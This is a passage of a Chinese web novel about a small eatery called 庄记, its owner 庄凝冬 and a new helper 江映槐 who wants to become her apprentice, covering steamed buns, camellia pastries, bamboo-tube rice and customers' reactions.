洁白的包子圆滚滚的，顶头的花纹也像用模具印出来那般完美，最重要的是它的表面很光滑，润到泛着光泽感。 比其他包子看起来好看多了。 轩轩盯着那个包子，忍不住做了吞咽动作。 老奶奶注意到，赶紧趁热打铁，捏着包子一口咬了下去。 轩轩就这样看着，他看到软绵白净的面皮瘪下去，咬过的边缘还留下了一排牙齿印。 他这才发现内里的面皮并不像之前吃过的那些包子那样有着大大的窟窿。 特别是中间的肉馅，他光这样闻着都觉得可香可香了。 轩轩的肚子开始发出奇怪的声音。 老奶奶见状，顺势露出好吃的神情，叹道：“好好吃的包子啊，这肉包子里的肉怎么那么好吃呢？好浓的肉香味啊。” 轩轩睁着圆溜溜的眼睛，一眨不眨地盯着，嘴巴微张着，什么时候流了一点晶莹的液体下来也不知道。 时刻关注着的江映槐开心地拍了拍手掌：“快看，是谁流口水了？” 轩轩警惕地看过去，然后用手一抹，发现嘴角湿湿的之后，脸都羞囧了。 啊啊啊啊好丢人！ 不过，他才不要承认是被奶奶吃的包子馋到了呢，哼！ 毕竟，一开始是他说不吃包子的。 轩轩涨红了脸，嘴硬：“我，我这是早上喝太多水了，嘴巴没闭紧，它才流出来的，才不是什么口水！” 江映槐敷衍地嗯了两声，一看就没信。 轩轩：“……” 到底还是他奶奶了解他，主动说道：“这包子的面皮吃起来还甜甜的呢，不喜欢吃它的人可就笨咯。” 小孩子听不懂亏大咯、或者损失大咯这些字眼，但能听懂笨字。 轩轩握紧小拳头，他才不笨！ 于是顺口道：“那奶奶，我也要吃。” 末了，还此地无银三百两地补充了一句：“我不是被馋得想吃，只是不想被当笨小孩。” 江映槐还是敷衍地嗯了两声。 轩轩：“……” 出了笼子一会儿的包子已经不是那么烫，只带了一层温热。 老奶奶打开袋子口，让他自己拿。 各种馅料的包子赵爷爷都有做上标记区分，老奶奶记得刚刚吃的那个包子上面是什么也没有的，提醒道：“左边那个才是肉包子。” 轩轩一看，动作却顿住了。 老奶奶问：“怎么了？” 轩轩：“这个包子不好看，我不想吃。” 庄凝冬三人都一眼认出，那是赵爷爷做的包子，而小男孩奶奶刚刚吃的那个，是江映槐做的。 赵爷爷明显只准自己嫌弃自己，不允许别人嫌弃他，特别现在嫌弃他的还是个小孩子。 他立马吹胡子瞪眼：“你个臭小子！我不卖你包子了！” 庄凝冬和江映槐则忍不住笑了出声。 轩轩不明所以。 江映槐逗他：“你觉得你奶奶吃的那个好看？” 轩轩点头。 江映槐又说：“谢谢夸奖，那是我做的，而你说不好看的那只，是这位爷爷做的。” 轩轩瞪大眼睛。 可恶，他居然夸了这个学人精姐姐。 “赵爷爷，您大人有大量，就别跟一个小孩子生气了，”庄凝冬这哄着赵爷爷，另一头也没忘对轩轩说，“包子是拿来吃的又不是拿来看的，我保证，它们一样好吃，不信你让你奶奶先尝一下。” 老奶奶还真就掰了一点吃起来，而后点点头附和道：“真的都一样好吃，来吃吧。” 轩轩犹疑地接过，咬了一口。 而且蓦地将眼睛瞪得圆圆的。 “真的好好吃！” 这只包子太蓬松了，像以前吃过的蛋糕一样，却又不那么干巴，得混着牛奶才能咽下去。 还像口感绵软的棉花糖，松松软软的，好吃极了。 中间的肉肉也特别香！好嫩好香好好吃！比家里妈妈做的肉肉好吃多了。 很快，轩轩就吃完了手里的包子，嘴巴上还沾着点白白的包子屑。 他才把那点包子吞完，就忙说：“奶奶我还想吃！要肉包子！” 这还是第一次，轩轩主动说要吃包子。 孩子奶奶当然连忙答应了，就怕孩子反悔。 那头赵爷爷听到，冷哼道：“你说我的包子不好看，我不卖给你吃了。” 轩轩这才意识到自己闯了祸，他不想吃不到那么好吃的肉包子，可又不知道怎样才能让这位老爷爷卖他肉包子，只好去找奶奶求救。 老奶奶便教他先道歉，再说些好听的话夸夸人家，轩轩一一照做，一顿好说歹说之后，赵爷爷可算啃松口了。 一笼屉的包子卖光，赵爷爷打开了其他层的笼屉，这一层三个人做的包子都有。 在轩轩看来，就是好看的不好看的都有。 但是他发现，这位老爷爷给他拿的包子都是不好看的。 可他又不敢有怨言，因为他怕连不好看的都没得吃。 轩轩便只能忍气吞声安慰自己：虽然是不好看了点，但好歹是好吃的，并且有得吃。 除此之外，轩轩还想着，老人家忘性都大，像奶奶就经常不记得妈妈说过的话。 也许等明天，这位老爷爷就不记得今天发生的事了，就会给他拿好看的包子了。 结果等第二天再来。 那一笼屉里，哪还有什么漂亮包子，全部都变成不好看的了。 轩轩一看，天都塌了。 可是其他包子都没有这里的好吃。 不好看，可是很香，于是只能边哭边吃，边哭边吃呜呜呜…… 第50章 第50章 在赵爷爷的摊子那里没待多久，庄凝冬就回店里了，她还要提前熬高汤呢。 江映槐也跟着她回了店里。 想着正好要交代江映槐一些基本流程，庄凝冬拿出合同给江映槐签好后，就带着她进了后厨，在自己做菜的过程中，也不断给江映槐讲解着。 江映槐记性不错，很多重要的事项讲过一遍就记住了，而且又跟着上手做了几遍，很快就能帮庄凝冬减轻负担。 后面，季初曼来到店铺。 她看到江映槐这一副起码忙活了好一阵子的模样，自我怀疑地看了眼时间，发现距离她们上班的时间还有十分钟。 她们俩的上班时间是一样的。 季初曼也不得不感叹，现在的年轻人可真卷啊。 去到后厨，季初曼跟她们俩打了一声招呼。 季初曼开玩笑道：“映槐，你下次能不能别那么卷了？都还没到正式上班时间呢。” 江映槐：“我这不是还没拜到师嘛？不积极点我怕这辈子都拜不到师。” “……”庄凝冬有点无奈，她好奇道：“你以前没找过其他人吗？” “什么？” “找其他人拜师。” 江映槐顺势回想起以前。 找肯定是找过的，还不止找过一个，不过都不太顺利。 有些是觉得她基础太差不愿意收，有些则是看上了她的年轻貌美，表面上同意了要教她，实则是为了方便在教她的过程中动手动脚。 江映槐当时被恶心坏了，气得差点当场把对方的手给砍下来，后面经过了中间人的调解，她得到了赔偿，对方也获得了应有了惩罚和下场后，江映槐看着匍匐在她脚边大喊着求饶的话才勉强顺了这把气。 其实也有主动找她说要收她为徒的，对方还是百味楼的老师傅，地位和成就都略高，江映槐当时的心情叫那个激动，心说终于有人发现她这颗蒙尘的明珠了吗？ 结果细聊之后才发现，对方是白案师傅，是看中了她在做糕点方面的天赋。 起初为了让江映槐做他徒弟，百味楼师傅还尝试过用顺便教她点切菜技巧来做条件，不过看过她切菜后都有点沉默，觉得得不偿失，后来便不了了之了。 再后来，其实江映槐也有继续找过这方面的师傅。 不过，由于被她挖掘到的那些刀工厉害的师傅基本都是上了年纪的大叔后，江映槐怕旧事重演，就没再上门拜访了，于是，在拜师学艺这条路上便停了下来。 直到发现了庄凝冬。 江映槐纠结要不要实话说了，如果实话说的话，凝冬姐会不会以为她是那种随便的人？敷衍到随便拉个人就说要拜师，会不会觉得她心不诚？ 可如果不实话实说，撒谎又不好。 江映槐想了想，她故作伤心起来：“找过，不过他们都嫌弃我，不肯收我为徒，我实在是太可怜了呜呜呜……” 说到后面，江映槐还用双手捂起脸来，期间，还用手指打开了一条缝隙，露出一只眼睛偷看。 季初曼无语的同时又被逗笑，怎么还是个戏精。 庄凝冬虽然觉得江映槐四处碰壁的遭遇是有点灰头土脸，却也立场坚定道：“跟我卖惨也没用，你等会切个东西给我看看，基础太差的话我也不收。” 也不是看不起，而是这种进步空间实则很大，其实不需要拜师，只要悟到一些皮毛就能获得明显进步，说不定等日后有了收获，对方就会满足于此而不愿再往前。 像这种情况，拜师实在是多此一举。 现在后厨里有了三个人在忙活，效率提高了不少，很快就能把基本的菜备好。 之后，庄凝冬让江映槐给她展示一下刀工。 目前店里要切的菜，像东坡肉、牛腩和羊排都比较考验刀工，而且是要做好给顾客吃的，庄凝冬没让江映槐上手。 江映槐便切了比较简单的番茄，还有香菇、火腿肠、肉卷这些配菜。 看了之后，庄凝冬陷入沉默。 估计江映槐刚刚说的“他们都嫌弃我，不肯收我为徒”是真的。 其实这些年来江映槐自己练习了不少后，已经比一开始好很多了，但在专业人士面前，还是会显得青涩生疏。 江映槐小心翼翼地看了眼庄凝冬，心情很忐忑：“怎么样？虽然没有很专业，但处理这些小食材应该还算可以吧？” “……” 庄凝冬回想着被江映槐切得一片薄一片厚的香菇，回答：“是还算可以，因为它们最终是要被剁碎的，也无所谓厚薄均不均匀了。” 江映槐：“……” 听起来怪怪的，不确定，再看看。 最后，庄凝冬拿过刀，准备给江映槐示范一遍。 虽然刚才她观察过江映槐的握刀姿势是正确的，但还是从这些基础的说起。 “拿刀的时候呢，大拇指和食指这样放，要扣住刀柄和刀身的交界处，其他手指握住刀把，就像你刚刚那样拿，然后另一只手五指内扣，用中指的第一个指关节顶刀，刀在进的时候另一只手同时也要退，就像这样……” 庄凝冬边说边展示，拿过了一条火腿肠切起来，速度快如残影，刀尖落在砧板上，发出清脆且节奏有序的声音，一下下非常均匀。 同时，一片片厚度匀称的火腿肠就整齐地排列好了。 江映槐在一旁看得目瞪口。 而庄凝冬在教江映槐的同时，季初曼也在一边学习。 随后，庄凝冬又对江映槐说：“你握刀的姿势没问题，就是指法有问题，不要拿指尖对着刀，这样很容易切到手。” 江映槐点点头。 不过她一直来都是那样切的，习惯形成，也不是说改就改，只能多加练习了。 后面让江映槐更惊讶的就是，庄凝冬切菊花豆腐的时候了。 虽然在视频看过成品，但当现场看制作过程，又是另一种感受。 那刀起刀落实在太稳了。 当面看简直是一场视觉盛宴。 不过没多久，庄凝冬又想起了一件重要的事。 既然店里招了个擅长白案的江映槐，那山茶花酥的盒子是不是能派上用场了？ 思及此，庄凝冬停下手里的活，拉着江映槐到一边，把山茶花酥的配方比跟她说了下，然后跟她一起做山茶花酥。 在捏制过程中，江映槐边看着庄凝冬边操作，到最后，成品也有八九分相像了。 到了炸制环节，庄凝冬又跟她讲述了油温以及中途需要注意的事项。 看着锅中一朵朵山茶花酥缓慢地盛开，即便江映槐自己私下就看了很多遍，但此时也不可避免地为此感到惊叹。 山茶花酥做好以后，放到一旁晾凉，庄凝冬尝过，觉得她们俩做的味道没什么差别后，就把山茶花酥的工作全交给了江映槐。 江映槐指着自己，不可思议道：“啊？就这么全部交给我完成了？今天的份量全部由我来完成？” “这样说不太严谨。” 江映槐认真听着，觉得还有回旋的余地。 庄凝冬略一思考，认真道：“如果今天的顾客没吃出来有差别的话，之后的山茶花酥也都由你来负责。” “……” 江映槐彻底心死。 不过她这样倒不是因为活太多怕累，而是怕自己做不好，毕竟以前她做的东西都是自己在吃，根本不用管好不好吃。 但做给别人吃就不一样了，会期待别人的反馈，也会怕自己做得不够好吃，这是其一，其实最怕的就是做得不好吃砸了人家的招牌。 不管怎么说现在她代表的是庄记，不再是独来独往的自己。 自己的名声她可以不管不顾，但团体的她不能袖手旁观。 这是第一次，江映槐在做糕点这件事上有了压力感。 庄凝冬选择先瞒着顾客是正确的，就怕提前跟他们说了他们会因此产生心理作用，那样的话测试不出效果。 中午，店铺准时营业。 现在店里只有一种糕点，做起来比较快，加上江映槐目前又没有其他重要的活，所以在店铺营业前，她就把今天所需要的山茶花酥做好了。 开店后，江映槐在前面帮忙。 有自来熟的顾客看见新面孔，便热络地打招呼：“店主又新招人了？可以可以，平时店里人多，之前感觉前台只有一个员工的时候都有点忙不过来，现在可以减轻点负担咯。” “小姑娘新来的？可得好好干啊。” 江映槐笑着应下：“一定。” “怎么店里没招有男同胞？咱们男同胞这么差劲吗？居然一个都没被选上，实在太丢我们男同胞的脸了。” “就你长了张嘴只会在这叭叭叭，说那么多你怎么不上？” 那人不好意思地摸摸头：“我这不是还没毕业嘛？等我毕业了，绝对第一个投简历！” 江映槐在一边听着，心想这气氛可真好，既没有人看不起服务员这个职业，也没有人觉得大男人一个就该出去闯荡，窝在一个苍蝇小管算什么。 感觉干活都更有劲了。 脾气好像也好了点。 江映槐心说，这地方可真是来对了。 忙活间，江映槐听到人潮里有人说了句话—— “这个山茶花酥……” 江映槐连呼吸都屏住，紧张地注意声源方向，甚至不自觉往那边靠近。 然后她听见那位顾客慢悠悠地把剩下的话补充完整：“……这块山茶花酥，还是一如既往的好吃啊，真的太酥脆了，露在外头的椰蓉也炸得喷香，甜丝丝的又不会腻，实在是太好吃了，可惜还没上架整盒，不然我高低买上个好几盒带回家去给家里人尝尝。” 那人的同伴则回应道：“你这话说的，现在单个卖你也可以买回去给家里人吃啊。” “你不懂，就这么一个，回家的路又那么长，你让我怎么忍住不吃？” 同伴：“有道理，是我我也忍不住。” 江映槐：“……” 在庄记工作的员工都是包吃的，中午结束营业后，庄凝冬做了三菜一汤，其中有一道菜是酸辣土豆丝。 不过那土豆丝，有那么一些看着像土豆条。 奶奶知道那是江映槐练刀工的杰作。 上午那会儿，她坐在后厨通向后院那个门都能听见江映槐的忧叹：“怎么那么难？” 不过江映槐表现得不耐烦，拜师的事还没一撇呢。 此时，江映槐对上奶奶的笑，有点窘，她尝了下，试图找回场子：“唔……虽然是难看了点，但是味道也还行。” 季初曼笑：“还不是凝冬做得好吃。” 江映槐：“是啊，也不知道怎么炒的，我都切成这样了，这细的跟粗的竟然一样脆。” 庄凝冬：“不用将我夸得那么神，熟能生巧，你也可以的。” 中间，江映槐知道庄凝冬的店里有顾客群，便问她群里的顾客今天都讨论了些什么，有没有尝出山茶花酥有什么不同。 虽然上午的时候江映槐听到了那个顾客的夸赞，但她还是想再听听其他人的声音。 庄凝冬知道江映槐在意，便打开群聊让她自己去看。 看了一圈，发现没人提出异样后，江映槐可算松了口气。 转头她就朝庄凝冬邀功去了：“凝冬姐，我这活是不是干得还不错？” 庄凝冬毫不吝啬自己的夸奖，弯着眉眼点头：“是，非常不错，下午再接再厉，以后也继续包吃。” 江映槐：“那我值不值得一些奖励呢？比如说奖励一个徒弟的身份让我当当。” 庄凝冬无奈到忍不住笑了一下，为了拜师还真是花样百出，怎么都不肯放弃啊。 但是，没办法—— “一码归一码。”庄凝冬说。 没想到人看着那么好欺负的庄凝冬却是最难说话的，江映槐开始撒娇： “那要怎样才可以？求求了，给个机会吧。” 庄凝冬属实拿她没办法，略微沉吟片刻，她道：“这样，下午过后，顾客群里的人要是还是尝不出山茶花酥的味道有差别的话，我就给你一个机会。” “真的吗？！太好了！放心，我一定会好好干的。” 机不可失时不再来。 江映槐下午干活跟打了鸡血似的。 季初曼看到也不由感叹，这就是热爱所带来的动力吗？ 她以前工作的时候好像也是这样的，不过这种感觉，她已经很久没感受过了。 傍晚，江映槐查看着顾客群，看到还是没人发现味道有差别时，激动地凑到庄凝冬跟前叽叽喳喳。 “凝冬姐，你快看，没人吃出来！你可别忘了你中午说过的话。” 庄凝冬当时在后院里烤着竹筒饭，她心里算着时间，觉得烤好后，把它们都拿了出来，放到托盘上，顺便对江映槐说： “没忘，你现在跟我进一趟厨房。” 边上放着刚摘下的葱花，洗好了，庄凝冬将它们折了又折，拿起刀三两下将它们切碎，对江映槐说：“等什么时候，你能改正以前的切法习惯，用上我教的方法将葱切成这样葱花形状了，心里还想着拜师的话，我就收你为徒。” 庄凝冬说的葱花可不是胡乱剁碎，而是一圈圈的，不过也很简单了，相当于给江映槐开了个后门。 其实庄凝冬自己也想明白了，收徒能传承厨艺，不管怎么说这也是一种独特的文化，让其继续流传下去，也方便发扬光大。 “好！我一定会尽快完成任务的！” 这口松得，江映槐可太兴奋了！真是太好了，很快她就要有师父了。 心里放下一件事，江映槐才注意到一旁晾着的几根竹子，她隐约记得，当时庄凝冬好像往里面塞了些生米粒。 “这是……竹筒饭？”江映槐问。 庄凝冬莞尔：“嗯，今晚的晚餐，快拿出去尝尝。” 50-60 第51章 第51章 几根竹筒拿出来以后，庄凝冬就把它们劈开了一条裂缝，此时只需要用力掰开就可以了。 原本翠绿的竹子经过火烤，那种鲜绿褪去，取而代之的是一种枯老干巴的黄绿，还带了烧焦的黑。 晾了有好一会儿，竹筒周身的温度已经冷却，江映槐力气大，随手一掰就掰开了。 全部一一掰开后，里头糯米饭的香气彻底藏不住了，混着腊肠和腊肉的咸香，勾得人口水直流。 她们几个人都吃葱，庄凝冬把刚切的葱花撒到了上面，在星点碧绿的衬托下，那糯米饭显得更香了。 “不行了，好香我好饿，我先端出去了，凝冬姐你快点，不然我要饿死了。” 江映槐望着那染了淡酱油色的糯米粒，止不住连吞了几下口水，忙把这几根竹筒都端了出去。 “奶奶！初曼姐！凝冬姐把饭做好了，可以吃饭啦。” 庄凝冬后她们一步。 她还要去端烤架上的竹筒汤。 刚刚在做竹筒饭时，庄凝冬另外挑了几根肥胖点的竹筒，各往里塞了几块鸡肉，还有红枣枸杞虫草花等，再装了点水，简单做了份竹筒汤。 她是拿叶子盖在上方密封的，此时解开绳索，一阵清香扑鼻。 庄凝冬端着它们走出了厨房。 “哇～好香，用竹筒当器皿做饭，要是我女儿看到，肯定觉得新奇而喜欢得不得了。”季初曼也无法抵挡带着竹子清香的糯米饭。 “啊？初曼姐你看着那么年轻，没想到都有孩子啦？”江映槐是真不知道。 “是啊，我女儿叫圆圆，很可爱的，你要看看吗？” “看看看看。” 庄凝冬出来时，季初曼和江映槐两人正凑到一起看着手机，江映槐嘴里还时不时念叨着好可爱看着好乖好想捏捏她的脸颊等这些字眼，而奶奶则在一旁笑眯眯地看着。 等庄凝冬坐下，她们才把手机放好，坐正准备开吃。 竹筒里的饭是用糯米做的，和青豆、玉米粒、胡萝卜丁、腊肠腊肉以及各种调味料拌好，此刻闻着有软软的糯米香、浓郁咸香还有竹子淡香。 多种香味结合，层次感更为丰富。 江映槐先舀了一勺送进了嘴里，入口的浓厚的咸香，口感松软，里头食材丰富，随随便便一勺便能吃到豆子和玉米的清甜，这两者恰好解了腊肠和腊肉带来的腻，咀嚼间还能吃到竹子的香味。 仿佛置身一片茂密的竹林，清新又淡雅。 “好吃得不得了！香迷糊了，超级入味。”江映槐饿得不行了，就知道不停地往嘴里塞米饭，这个动作……跟庄凝冬刚刚往竹筒里塞米饭的动作一模一样。 庄凝冬看着，不禁笑了出声 江映槐不明所以地看过去，庄凝冬摆摆手，表示没什么，奶奶却笑得眼睛眯起来，让她慢点吃。 江映槐以为是自己嘴角有米饭，胡乱抹了几下，发现没有，便不管了。 “我觉得这个米饭特别适合我，既不用怎么切食材，又不会对厨艺的要求有多高，拌好一切蒸熟就行了，都不用另外炒菜了。” “说起来，这还是我第一次吃竹筒饭。” 季初曼也很喜欢这个竹筒饭，吃起来好香，松松软软的很入味，越嚼越起劲，根本停不下来。 “等我学会了以后，也要买根竹子回去给圆圆做。”季初曼说着，忽然想起来这个要用火烤，“啊，我忘了要用火烤了，家里烤不了，还是算了吧。” 江映槐：“依我看，用这些食材光这样拌好蒸熟都很好吃。” 庄凝冬：“不用担心，竹筒饭是我明天就要加到店里售卖的新品，你要是需要的话，可以酌情购买。” 季初曼听到后很开心，江映槐则没什么感觉，溪城只有她自己一个，平时两顿正餐都包了，也没什么需要另外买的。 除了要上竹筒饭之外，还有上线整盒山茶花酥的事，庄凝冬也跟江映槐说了下。 上线整盒就意味着江映槐每天要做的山茶花酥数量增加不少。 不过对于江映槐来说，还能接受，她干劲满满地应了声保证完成任务。 这顿晚餐，除了竹筒饭，还有竹筒鸡汤。 由于平时店里做的都是经过精心熬制的高汤，这份竹筒鸡汤倒显得清淡了点，不过由于清甜汤水中的竹香味倒是替这份汤增添了不少风味。 吃起来既新鲜，层次感又丰富。 晚饭过后，季初曼干完活就回了家，原本江映槐是想留下来再练练刀工的，但庄凝冬说这里没什么需要的食材让她练，让她自己回去先熟悉一下手法就可以。 晚上，庄凝冬洗掉一身的疲惫就又坐到了书桌前，先把每天的收支清算完，确定再过不久就能把欠下的债一次还完后，她脸上露出浅浅的笑意。 中途，庄凝冬也没忘记在群里和微博上发布明天要上整盒山茶花酥以及竹筒饭的消息。 一杯奶茶：[第一眼：山茶花酥不是已经在售卖了吗？ 第二眼：是整盒的山茶花酥！！啊啊啊终于来了！] 阴暗鼠鼠：[我勒个去，店里不是才招了个人吗？这么快就把山茶花酥的量提上去了？？原来老板一直想着要给我上整盒山茶花酥的事，老板心里有我！！] 谭清莹：[楼上的别发疯，整盒的山茶花酥明明是我想要的，老板心里的人分明是我。] 何筝：[这个时代果然颜值才是王道，在你们都在为山茶花酥尖叫的时候，有人在意过同为明天上线的竹筒饭吗？！你们实在是太让人心寒了。] 每天都很困：[是哦，明天还会上新品竹筒饭，太好了！] 不想上早八：[草，我都无法想象，明天的竞争会有多激烈。] 放老子一马：[明天真是个好日子，有整盒的山茶花酥，还有竹筒饭，又可以跟老爸狠狠敲。诈一笔了嘻嘻。] 没出息：[等到时候没买到我看你还怎么笑得出来。] …… 发布完消息，庄凝冬回答了几个顾客的疑问后又去微博回复了一些评论，才放下手机登上了那个金融网站去学习。 自从昨晚跟那个“没意思”说好等价交换后，庄凝冬倒是可以心安理得地去找他问问题了。 明天不用太早起，正好可以学晚点。 只是到了昨天那个点，“没意思”突然来了句：[今晚不睡了？] 庄凝冬老实回复：[不是不睡，是晚点睡。] 没意思：[明天不用早起？] 庄：[不用。] 没意思：[哦，返老还童了？] 变年轻了，到点不困了，也不早醒了。 庄凝冬：“……” 次日上午，江映槐依旧很早就过来帮忙了。 庄凝冬忙完一个阶段，站在前门吹着微风神伸懒腰。 远远往街口赵爷爷那个摊位瞧去，笼盖掀开，升起袅袅热雾，围着的人比昨天多了点。 梁爷爷和李爷爷站在那，他俩刚买了几只包子，就站旁边吃，边吃便跟赵爷爷闲聊。 “呼，老赵你这生意是越来越好了啊，看来以后想在你这买个包子都得提前来排队了。” “说这话，都是凝冬的功劳，要不是有她在教我，我生意哪能这么好呢？” “这包子是真好吃，面皮太松软了，怎么感觉比肉馅还好吃呢？”李爷爷咬了一口包子说道。 “那你吃面皮，把肉馅给我吧。”梁爷爷掀开袋口伸过去，暗示他将肉馅弄下来。 李爷爷：“我可去你的吧，对了，这面皮不能浪费，蘸上辣椒酱准好吃！等我去凝冬丫头那弄一点。” 说着，他人就跑了。 梁爷爷看着他颠颠的背影，大喊：“哎！你老伴不是才禁了你一个月辣？” “她人都不在，不怕！” “……” 这条街那么点大，大家走动间，很快就知道庄家丫头把看家本领教给了老赵。 那头黄秀莲知道后特别不得劲，她看着老赵门前红红火火的生意，十分不舒服。 既嫉妒却又止不住自己的嘴馋，她想到上次的绿豆糕。 自从得知那个好吃的绿豆糕是出自庄家之后，黄秀莲就没去买过了。 哪怕非常想吃。 此时有人拿着从老赵那买的包子边吃边从她身边路过。 一股浓郁的肉香飘来，看一眼，面皮雪白，横切面细腻到看不见气孔。 看着就特香。 黄秀莲还没吃早饭的肚子被吸引得一阵乱叫。 纠结了好一会儿，黄秀莲才说服自己去老赵那里买包子。 一次，就一次。 然而去到之后，老赵却开始收摊了，瞧见来人，老赵不咸不淡地瞥了黄秀莲一眼，没说话。 黄秀莲憋不住先问：“你这是卖完了？” “不然呢？不卖完我收什么摊？拿着剩下的包子回去堆着让它们发臭？” “……” 赵爷爷：“怎么？你要来买？下次记得早点。” 黄秀莲嘴硬：“谁说我要来买了，我就是来看看。” 赵爷爷满含讽刺地嘁了一声，显然没信她的的话。 “……” * 中午，溪城一中。 下课前五分钟，周谦身后的小弟早就把东西都收拾好了，他趁数学老师转头写黑板的时候踢了踢周谦的椅子，凑上去压着声音：“嘿，老大，我已经准备好了，等下课铃一响，就能以百米冲刺的速度去庄记。” 谁知周谦却满脸不耐烦地转头：“别吵着我做数学题。” 小弟：“？” 不是，他耳朵没出问题吧？ 这是天天上课看漫画的人能说出来的话？ “老大，你没发烧吧？你要是被绑架了你就眨眨眼，今天庄记可是推出了……” 这次，只见周谦皱眉回头，冷漠地吐出了两个字：“闭嘴！” 小弟：“……” 小弟深吸口气，又问了句：“那你今天还去不去庄记了？” 周谦没回答他，但行动却又是答了。 只见周谦带着椅子往前了一小段，显然不想再搭理他了。 小弟：“……” 看来是不去了，好吧，那他自己去。 下课后，小弟跟其他人一溜烟跑没了影。 等周谦从题海中重新抬起头时，教室里已经没什么人了。 周谦把东西收拾好，朝学校饭堂走去。 既然发誓以后要当警察，那他就要好好学习，考上好的警察学院。 为了多节省点时间学习，周谦已经决定了，从今天开始，上学期间，每天只吃一顿庄记算了。 因为庄记人多，光排队就要好久。 后面，周谦在饭堂吃完饭回到教室没多久，小弟也从庄记回来了。 周谦起初是听到了很大的动静响声，他原本没想回头的，但无奈小弟的说话声实在太大—— “我去，得亏我的百米冲刺，不然都买不到这最后一盒山茶花酥，还有这竹筒饭，也不知道味道怎么样，赶紧先尝尝。” 最后一盒山茶花酥。 盒？！ 周谦猛地回头，在小弟桌子边缘的挂钩上看见了挂着的粉色盒子。 盒子的颜色跟山茶花酥的花瓣非常贴合，上面的繁复花纹和图案跟之前的绿豆糕盒子差不多，只是整体换了种颜色。 别有一番雅致。 “好你个尹鑫！你居然偷偷去买山茶花酥不喊我！”周谦看着那漂亮的盒子，口水都要流下来了。 尹鑫：“？！” “我冤枉啊！！老大你是想要气死我吗？下课前几分钟我问你要不要去庄记你都没理我。” 周谦自知理亏，不自在地咳了声：“你也没跟我说庄记推出盒装山茶花酥了啊，要是跟之前一样只能买一只，我就不去了。” 一盒就不一样了，一盒有四个，拿回家去他们一家三口都能分到一个。 “首先，老大你自己不就加有顾客群？老板前一天晚上就发通知了，你没看见？” 周谦还真没看见，他现在心里只有学习，昨晚也是学到很晚，然后就直接睡了。 “其次，我下课前就要跟你说的，是你让我闭嘴来着。” 其实一开始庄记在溪城一中的讨论度还挺高的，不过自从庄记越来越多人，他们发现去庄记要排队后，溪城一中的人反而不怎么讨论庄记了。 学校不让带手机，有好一部分学生都听话没带，所以之前庄记一旦新出了什么菜式，搞了什么活动之类的全靠学生之间传递信息。 但现在，他们才不聊呢。 笑话，是还嫌庄记不够多人吗？平常自己去排都不一定能买得到了。 于是，他们为了减少竞争者，只能狠狠心，在学校闭口不谈庄记，这样，其他不知道庄记出了新品的人就不会去了。 虽然可能也没几个不知道的，但竞争对手能少一个是一个。 所以，周谦也没能从其他校友的嘴里知道这一消息。 但是—— “你怎么就只买一盒呢？”周谦痛诉。 “……你这话说得，我不做华国首富是因为我不想吗？”尹鑫无语了，“店里限购，每人只能买一盒。” “好吧……” 事已至此，周谦也没话说了，不过，他心里有了个法子—— “尹鑫，你能不能把这盒山茶花酥卖给我？我可以出双倍价格！” 尹鑫：“不行！你看它是一盒简单的山茶花酥，其实它没那么普通，它可是最后一盒山茶花酥，你知道这象征着什么吗？象征着我的运气！怎么可以轻轻松松就——” 周谦打断他的废话：“三倍，你可以拿一个走，剩下三个给我就行。” “成交。” “……” 做完交易，尹鑫安心吃着他买来的竹筒饭。 竹子事先被劈开，此时只需要用力一掰就能弄开了。 周谦收好山茶花酥，回过头一瞬不瞬地盯着尹鑫吃竹筒饭。 米饭泛着诱人的光泽，围着味道就让人觉得十分入味，像白米饭浸透了汤汁，怎么看怎么诱人。 周谦只觉得自己刚刚的午饭好像白吃了。 “这，也是今天才上的新品？”周谦问。 “是啊。” 尹鑫的吃相夸张，那嘴跟植物大战僵尸里的食人花一样，张开就是一大口，有没吃进去的青豆和玉米粒掉落，似是掉落了翡翠和黄金。 “这竹筒饭味道怎么样？”周谦咂咂嘴：“快让我也吃一口。” “味道太绝了，这腊肉可香了，咸香咸香的，肥肉部分的油脂融到了米粒里，真的太香了，完全吃不够，而且就算腊肉和腊肠的味道再浓，也能吃到竹子的味道，刚好能解腻。” 尹鑫对周谦大方也不算太大方，舍得分吃的，却不舍得让他吃太多：“要不，我喂你吧？” 周谦：“？别说这么变态的话，我自己来就好。” “……那你别装太多。” 在尹鑫的注视下，周谦觉得学校饭堂阿姨的手都没自己那么能抖。 成功尝到了一丢丢美味，周谦非常后悔中午没有去庄记。 就这么一点味道，勾得周谦下午都没能好好上课，一心想着赶紧下课赶紧下课，好马上冲去庄记买竹筒饭。 这么看来，自己中午节省的那点时间反而得不偿失了。 周谦叹了口气，开始决定之后每天都要去庄记吃饭才行。 吃饱了才有力气学习。 * “我大把钱”的名字叫余承，他今天也来到了庄记。 自从在蛋挞那看过庄记的视频后，他是每顿都吃不好，甚至连做梦都梦到来庄记吃饭。 起初还嫌远懒得跑一趟，等到真的忍不住了，这才屁颠屁颠地跑过来。 他已经想好了，这次来一趟，一定要吃上那绝美的山茶花酥，还有菊花豆腐。 余承在人群后面排着队，等排到他，点单的话就要脱口而出了，结果在他看清收银员的脸后又顿时生生卡住了。 今天江映槐和季初曼换了下位置，由江映槐站收银台，季初曼则去端菜。 余承看着那张异常熟悉的脸，却又死活想不起来，站在那挠了半天头。 “我好像在哪里见过你，但是一时想不起来了。” 见余承一直不点单，其他顾客有点等不及了，催促道： “……哥们儿，你好土，现在谁还用这个方式搭讪啊？你点不点单的？你不点让我点。” 庄记的顾客是很包容，但也不是无条件纵容的。 “哎你不会见人家小姑娘长得好看就死活赖在这不走吧？我可警告你别乱来啊，大伙都看着呢。” 余承没管其他人的声音，忽然间，他猛地一拍大腿： “我想起来了！你是不是咕咚咕咚上面的那什么up主？叫什么来着？好像是叫……‘小槐不骂人的第一天’？” 第52章 第52章 不怪余承想了那么久才想起来，他虽然是蛋挞的粉丝却不是江映槐的粉丝，也只是偶尔会在热门刷到她视频的时候才点进去看看。 “……” 江映槐显然没想到自己竟然被认出来了，不过只要别影响到店铺正常做生意，她也无所谓自己是不是被认出来。 “或许……”江映槐眨眨眼，“不是‘不骂人的第一天’了呢？” 自从来了这里，除了到溪城的第一天，骂了那个晦气的东西之后，江映槐就没骂过人了。 余承自然没反应过来她的话是什么意思：“什么？” “快点单吧，别耽误后面的顾客。”江映槐没多解释，催促道。 “哦哦，对，点单。”余承明白事情的轻重缓急，他看着菜单：“那就给我来一份菊花豆腐、山茶花酥、椒麻鸡和番茄牛腩面吧。” “菊花豆腐和山茶花酥都没了。” “什么？”余承瞬间不嘻嘻了，他就是为了这两样东西来的，居然都没了，这让他怎么接受？！ 